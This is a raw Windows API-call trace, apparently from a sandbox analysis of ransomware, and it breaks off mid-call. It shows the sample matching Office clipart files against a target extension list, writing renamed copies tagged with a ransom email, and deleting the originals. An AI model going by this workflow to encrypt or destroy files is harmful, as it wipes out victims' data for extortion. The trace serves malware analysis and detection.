lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0132.179] lstrlenW (lpString=".docx") returned 5 [0132.179] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0132.179] lstrlenW (lpString=".pdf") returned 4 [0132.179] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0132.179] lstrlenW (lpString=".xls") returned 4 [0132.179] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0132.179] lstrlenW (lpString=".xlsx") returned 5 [0132.179] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0132.179] lstrlenW (lpString=".ppt") returned 4 [0132.179] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0132.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0132.179] lstrlenW (lpString=".zip") returned 4 [0132.179] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0132.179] lstrlenW (lpString=".rar") returned 4 [0132.179] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0132.179] lstrlenW (lpString=".bz2") returned 4 [0132.179] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0132.179] lstrlenW (lpString=".7z") returned 3 [0132.179] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0132.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0132.179] lstrlenW (lpString=".dbf") returned 4 [0132.179] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0132.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0132.179] lstrlenW (lpString=".1cd") returned 4 [0132.179] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0132.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0132.179] lstrlenW (lpString=".jpg") returned 4 [0132.179] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0132.179] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.180] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0132.180] GetLastError () returned 0x0 [0132.180] ReadFile (in: hFile=0x1f0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x1fa1, lpOverlapped=0x0) returned 1 [0132.198] WriteFile (in: hFile=0x21c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x1fb0, lpOverlapped=0x0) returned 1 [0132.199] ReadFile (in: hFile=0x1f0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0132.199] WriteFile (in: hFile=0x21c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0132.199] SetEndOfFile (hFile=0x21c) returned 1 [0132.200] CloseHandle (hObject=0x21c) returned 1 [0132.200] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.200] SetEndOfFile (hFile=0x1f0) returned 1 [0132.200] CloseHandle (hObject=0x1f0) returned 1 [0132.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0132.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0132.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0132.201] lstrlenW (lpString=".doc") returned 4 [0132.201] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0132.201] lstrlenW (lpString=".docx") returned 5 [0132.201] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0132.201] lstrlenW (lpString=".pdf") returned 4 [0132.201] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0132.201] lstrlenW (lpString=".xls") returned 4 [0132.201] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0132.201] lstrlenW (lpString=".xlsx") returned 5 [0132.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0132.201] lstrlenW (lpString=".ppt") returned 4 [0132.201] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0132.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0132.201] lstrlenW (lpString=".zip") returned 4 [0132.201] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0132.201] lstrlenW (lpString=".rar") returned 4 [0132.201] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0132.201] lstrlenW (lpString=".bz2") returned 4 [0132.201] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0132.201] lstrlenW (lpString=".7z") returned 3 [0132.201] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0132.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0132.201] lstrlenW (lpString=".dbf") returned 4 [0132.202] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0132.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0132.202] lstrlenW (lpString=".1cd") returned 4 [0132.202] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0132.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0132.202] lstrlenW (lpString=".jpg") returned 4 [0132.202] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0132.202] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.202] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0132.202] GetLastError () returned 0x0 [0132.202] ReadFile (in: hFile=0x1f0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x1e06, lpOverlapped=0x0) returned 1 [0132.440] WriteFile (in: hFile=0x21c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x1e10, lpOverlapped=0x0) returned 1 [0132.441] ReadFile (in: hFile=0x1f0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0132.441] WriteFile (in: hFile=0x21c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0132.441] SetEndOfFile (hFile=0x21c) returned 1 [0132.441] CloseHandle (hObject=0x21c) returned 1 [0132.441] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.441] SetEndOfFile (hFile=0x1f0) returned 1 [0132.442] CloseHandle (hObject=0x1f0) returned 1 [0132.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0132.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0132.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0132.443] lstrlenW (lpString=".doc") returned 4 [0132.443] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0132.443] lstrlenW (lpString=".docx") returned 5 [0132.443] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0132.443] lstrlenW (lpString=".pdf") returned 4 [0132.443] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0132.443] lstrlenW (lpString=".xls") returned 4 [0132.443] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0132.443] lstrlenW (lpString=".xlsx") returned 5 [0132.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0132.443] lstrlenW (lpString=".ppt") returned 4 [0132.443] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0132.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0132.443] lstrlenW (lpString=".zip") returned 4 [0132.443] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0132.443] lstrlenW (lpString=".rar") returned 4 [0132.443] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0132.443] lstrlenW (lpString=".bz2") returned 4 [0132.443] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0132.443] lstrlenW (lpString=".7z") returned 3 [0132.443] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0132.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0132.443] lstrlenW (lpString=".dbf") returned 4 [0132.443] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0132.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0132.443] lstrlenW (lpString=".1cd") returned 4 [0132.443] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0132.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0132.443] lstrlenW (lpString=".jpg") returned 4 [0132.443] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0132.444] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.444] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0132.444] GetLastError () returned 0x0 [0132.444] ReadFile (in: hFile=0x1f0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x205, lpOverlapped=0x0) returned 1 [0132.445] WriteFile (in: hFile=0x21c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x210, lpOverlapped=0x0) returned 1 [0132.446] ReadFile (in: hFile=0x1f0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0132.446] WriteFile (in: hFile=0x21c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0132.446] SetEndOfFile (hFile=0x21c) returned 1 [0132.446] CloseHandle (hObject=0x21c) returned 1 [0132.446] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.446] SetEndOfFile (hFile=0x1f0) returned 1 [0132.447] CloseHandle (hObject=0x1f0) returned 1 [0132.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0132.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0132.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0132.447] lstrlenW (lpString=".doc") returned 4 [0132.447] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0132.447] lstrlenW (lpString=".docx") returned 5 [0132.447] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0132.447] lstrlenW (lpString=".pdf") returned 4 [0132.447] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0132.447] lstrlenW (lpString=".xls") returned 4 [0132.447] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0132.447] lstrlenW (lpString=".xlsx") returned 5 [0132.448] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0132.448] lstrlenW (lpString=".ppt") returned 4 [0132.448] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0132.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0132.448] lstrlenW (lpString=".zip") returned 4 [0132.448] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0132.448] lstrlenW (lpString=".rar") returned 4 [0132.448] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0132.448] lstrlenW (lpString=".bz2") returned 4 [0132.448] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0132.448] lstrlenW (lpString=".7z") returned 3 [0132.448] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0132.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0132.448] lstrlenW (lpString=".dbf") returned 4 [0132.448] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0132.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0132.448] lstrlenW (lpString=".1cd") returned 4 [0132.448] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0132.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0132.448] lstrlenW (lpString=".jpg") returned 4 [0132.448] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0132.448] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.448] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0132.448] GetLastError () returned 0x0 [0132.449] ReadFile (in: hFile=0x1f0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x1f6, lpOverlapped=0x0) returned 1 [0132.451] WriteFile (in: hFile=0x21c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x200, lpOverlapped=0x0) returned 1 [0132.452] ReadFile (in: hFile=0x1f0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0132.452] WriteFile (in: hFile=0x21c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0132.452] SetEndOfFile (hFile=0x21c) returned 1 [0132.452] CloseHandle (hObject=0x21c) returned 1 [0132.452] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.452] SetEndOfFile (hFile=0x1f0) returned 1 [0132.453] CloseHandle (hObject=0x1f0) returned 1 [0132.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0132.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0132.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0132.454] lstrlenW (lpString=".doc") returned 4 [0132.454] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0132.454] lstrlenW (lpString=".docx") returned 5 [0132.454] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0132.454] lstrlenW (lpString=".pdf") returned 4 [0132.454] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0132.454] lstrlenW (lpString=".xls") returned 4 [0132.454] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0132.454] lstrlenW (lpString=".xlsx") returned 5 [0132.454] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0132.454] lstrlenW (lpString=".ppt") returned 4 [0132.454] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0132.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0132.454] lstrlenW (lpString=".zip") returned 4 [0132.454] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0132.454] lstrlenW (lpString=".rar") returned 4 [0132.454] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0132.454] lstrlenW (lpString=".bz2") returned 4 [0132.454] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0132.454] lstrlenW (lpString=".7z") returned 3 [0132.454] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0132.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0132.454] lstrlenW (lpString=".dbf") returned 4 [0132.454] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0132.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0132.454] lstrlenW (lpString=".1cd") returned 4 [0132.454] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0132.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0132.454] lstrlenW (lpString=".jpg") returned 4 [0132.454] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0132.455] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.455] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0132.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0132.455] GetLastError () returned 0x0 [0132.455] ReadFile (in: hFile=0x1f0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x319e, lpOverlapped=0x0) returned 1 [0133.196] WriteFile (in: hFile=0x21c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x31a0, lpOverlapped=0x0) returned 1 [0133.197] ReadFile (in: hFile=0x1f0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0133.197] WriteFile (in: hFile=0x21c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0133.197] SetEndOfFile (hFile=0x21c) returned 1 [0133.197] CloseHandle (hObject=0x21c) returned 1 [0133.198] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0133.199] SetEndOfFile (hFile=0x1f0) returned 1 [0133.200] CloseHandle (hObject=0x1f0) returned 1 [0133.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0133.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0133.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0133.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0133.203] lstrlenW (lpString=".doc") returned 4 [0133.204] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0133.204] lstrlenW (lpString=".docx") returned 5 [0133.204] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0133.204] lstrlenW (lpString=".pdf") returned 4 [0133.204] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0133.204] lstrlenW (lpString=".xls") returned 4 [0133.204] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0133.204] lstrlenW (lpString=".xlsx") returned 5 [0133.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0133.204] lstrlenW (lpString=".ppt") returned 4 [0133.204] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0133.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0133.204] lstrlenW (lpString=".zip") returned 4 [0133.204] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0133.204] lstrlenW (lpString=".rar") returned 4 [0133.204] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0133.204] lstrlenW (lpString=".bz2") returned 4 [0133.204] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0133.204] lstrlenW (lpString=".7z") returned 3 [0133.204] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0133.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0133.204] lstrlenW (lpString=".dbf") returned 4 [0133.204] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0133.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0133.204] lstrlenW (lpString=".1cd") returned 4 [0133.205] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0133.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0133.205] lstrlenW (lpString=".jpg") returned 4 [0133.205] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0133.208] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0133.208] SetFilePointerEx (in: 